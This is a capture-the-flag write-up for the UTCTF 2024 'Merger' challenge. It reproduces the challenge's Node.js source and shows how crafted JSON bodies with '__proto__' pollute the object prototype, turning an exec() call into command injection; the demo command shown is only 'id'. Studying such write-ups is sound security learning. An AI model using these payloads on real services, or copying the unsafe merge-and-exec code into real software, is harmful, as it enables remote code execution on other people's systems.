Merger: Node.js Prototype Pollution

Platform: UTCTF 2024

Category/Tags: Web, Prototype Pollution, Command Injection

Difficulty: N/A (I guess Medium)

Introduction

Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!

Information Gathering

This is a simple web application that can create company details and merge original details into a new one.

landing page

I downloaded a zip file containing the source code, and I saw the package.json file. It uses Express.js for the server-side, as expected. No vulnerabilities were found in these packages.

{
  "dependencies": {
    "cookie-parser": "^1.4.6",
    "ejs": "^3.1.9",
    "express": "^4.18.2",
    "express-session": "^1.18.0"
  }
}

This is the app.js file responsible for running the web application, and it contains some API endpoints to process inputs from the user.

//app.js
var express = require('express');
const cp = require('child_process');

var app = express();

const cookieParser = require('cookie-parser');
const session = require('express-session');
app.use(cookieParser());
app.use(session({secret: "not actually the secret"}));

// var userArray = [];
var userCount = 1;
var userCompanies = [[]];


app.set('view engine', 'ejs');
app.use(express.json());


app.get('/', function (req, res) {
  if (!req.session.init) {
    req.session.init = true;
    req.session.uid = userCount++;
    userCompanies[req.session.uid] = [];
  }
  res.render("index", {userID:req.session.uid});
})



app.post('/api/makeCompany', function (req, res) {
  if (!req.session.init) {
    res.end("invalid session");
    return;
  }
  let data = req.body;
  if (data.attributes === undefined || data.values === undefined ||
    !Array.isArray(data.attributes) || !Array.isArray(data.values)) {
    res.end('attributes and values are incorrectly set');
    return;
  }
  
  let cNum = userCompanies[req.session.uid].length;
  let cObj = new Object();
  for (let j = 0; j < Math.min(data.attributes.length, data.values.length); j++) {
    if (data.attributes[j] != '' && data.attributes[j] != null) {
      cObj[data.attributes[j]] = data.values[j];
    }
    
  }
  cObj.cid = cNum;
  userCompanies[req.session.uid][cNum] = cObj;

  res.end(cNum + "");
})


app.post('/api/absorbCompany/:cid', function (req, res) {
  if (!req.session.init) {
    res.end("invalid session");
    return;
  }
  try {
    var cid = parseInt(req.params.cid);
  } catch (e) {
    res.end('bad argument');
    return;
  }
  
  if (cid < 0 || cid >= userCompanies[req.session.uid].length) {
    res.end('not a valid company');
    return;
  }
  let data = req.body;
  if (data.attributes === undefined || data.values === undefined ||
    !Array.isArray(data.attributes) || !Array.isArray(data.values)) {
    res.end('attributes and values are incorrectly set');
    return;
  }
  let child = cp.fork("merger.js");
  child.on('message', function (m) {
    let cNum = userCompanies[req.session.uid].length;
    let message = "";
    if (m.merged != undefined) {
      m.merged.cid = cNum;
      userCompanies[req.session.uid][cNum] = m.merged;
    }
    if (m.err) {
      message += m.err;
    } else {
      message += m.stdout;
      message += m.stderr;
    }
    res.end(JSON.stringify(m));
    child.kill();
  })
  let dataObj = new Object()
  dataObj.data = data;
  dataObj.orig = userCompanies[req.session.uid][cid]
  child.send(dataObj);
  
})

app.get('/api/getAll', function (req, res) {
  if (!req.session.init) {
    res.end("invalid session");
  }
  let id = req.session.uid;
  res.end(JSON.stringify(userCompanies[id]));
  return;

})


var server = app.listen(8725, function () {
  var host = server.address().address
  var port = server.address().port
  console.log("Example app listening at http://%s:%s", host, port)
})

/api/makeCompany endpoint simply creates the key-value pair attributes and returns an id (cid) for the company. /api/getAll endpoint is the one being called after creating a company to display all companies that the user created. /api/absorbCompany/:cid endpoint is for merging the two company details into one new object based on their cid.

/api/makeCompany
/api/absorbCompany/:cid

And I tried to view the response of /api/absorbCompany/:cid in BurpSuite. It has a cmd key that has the value of a shell file; this means that after merging company details, it will run the shell file. Moreover, I saw that when I run a command, I receive stdout and stderr results.

BurpSuite response

Under the /api/absorbCompany/:cid, I saw that it forks the merger.js script, creating and executing an independent process.

let child = cp.fork("merger.js");

This is the merger.js file, responsible for merging the original company details to create a new object using a loop. Also, it has an exec function that is used to run shell commands within the environment.

//merger.js
function isObject(obj) {
    return typeof obj === 'function' || typeof obj === 'object';
}

var secret = {}

const {exec} = require('child_process');

process.on('message', function (m) {
    let data = m.data;
    let orig = m.orig;
    for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {

        if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
            for (const key in data.values[k]) {
                orig[data.attributes[k]][key] = data.values[k][key];
            }
        } else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
            orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
        } else {
            orig[data.attributes[k]] = data.values[k];
        }
    }
    cmd = "./merger.sh";

    if (secret.cmd != null) {
        cmd = secret.cmd;
    }

    
    var test = exec(cmd, (err, stdout, stderr) => {
        retObj = {};
        retObj['merged'] = orig;
        retObj['err'] = err;
        retObj['stdout'] = stdout;
        retObj['stderr'] = stderr;
        process.send(retObj);
    });
    console.log(test);
});

Vulnerability

Under merger.js, this line of code is vulnerable to command injection because it can execute commands.

Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. From OWASP.

  var test = exec(cmd, (err, stdout, stderr) => {
    retObj = {};
    retObj['merged'] = orig;
    retObj['err'] = err;
    retObj['stdout'] = stdout;
    retObj['stderr'] = stderr;
    process.send(retObj);
});

The problem here is I cannot change the value of cmd to a different command.

//top part
var secret = {}

//bottom part
cmd = "./merger.sh";

if (secret.cmd != null) {
    cmd = secret.cmd;
}

But if we look at the if statement, I can execute different commands other than ./merger.sh. I should modify the secret object and assign the command to its cmd property. BUT HOW???

I remember when I was studying web development that almost everything in JavaScript is object. So, from this idea, I guess I can modify the secret object.

Exploit

With the use of prototype pollution attack, I can now add a property and value to the object.

Prototype pollution is a JavaScript vulnerability that enables an attacker to add arbitrary properties to global object prototypes, which may then be inherited by user-defined objects. From PortSwigger.

To give you a quick overview of what I know about prototypes in JavaScript, here it is. I created a Car class that has the property of color, and I created an instance of Car class and setting the color to "blue". As expected, the color of my_car is blue.

//Car class
class Car {
    constructor(color){
        this.color = color;
    }
}
//Creating an instance
let my_car = new Car("blue")

But what happens if I use __proto__ in my instance and set a new property?

//Car class
class Car {
    constructor(color){
        this.color = color;
    }
}
//Creating an instance
let my_car = new Car("blue")
//Prototype poisoning
my_car.__proto__.isHacked = true
//Creating a second instance
let my_second_car = new Car("yellow")
//Logging output
console.log(my_second_car.color, my_second_car.isHacked)
//The output as expected is -> yellow true

By setting my_car.__proto__.isHacked = true, you are adding a property isHacked to the prototype object of the Car class, and when I log the my_second_car.color, my_second_car.isHacked is yellow true. All instances of Car class will now have isHacked property.

Now, back to the problem, I can now modify the secret object and add cmd property and a value. First, we need to craft a body to create a new company. Set the attributes value to object name and values to __proto__, send it to /api/makeCompany.

{
  "attributes": [
    "secret"
  ],
  "values": [
    "__proto__"
  ]
}

This is ready to merge. In the /api/absorbCompany/:cid, I need to send another body. Under merger.js, I need the loop wherein it iterates and creates a new object. To pass the first condition;

  • orig[first key] is not undefined -> __proto__

  • orig[first key] is object -> __proto__ is an object

  • data.values[0] is object -> [{"cmd": "id"}] and I need to send this as array of objects

for (let k = 0; k < Math.min(data.attributes.length, data.values.length); k++) {
    if (!(orig[data.attributes[k]] === undefined) && isObject(orig[data.attributes[k]]) && isObject(data.values[k])) {
        for (const key in data.values[k]) {
            orig[data.attributes[k]][key] = data.values[k][key];
        }
    } else if (!(orig[data.attributes[k]] === undefined) && Array.isArray(orig[data.attributes[k]]) && Array.isArray(data.values[k])) {
        orig[data.attributes[k]] = orig[data.attributes[k]].concat(data.values[k]);
    } else {
        orig[data.attributes[k]] = data.values[k];
    }
}

So, the body will be,

{
  "attributes": [
    "__proto__",
    "secret"
  ],
  "values": [
    {
      "cmd": "id"
    }
  ]
}

Now, I can inject commands!

successful command injection

Last updated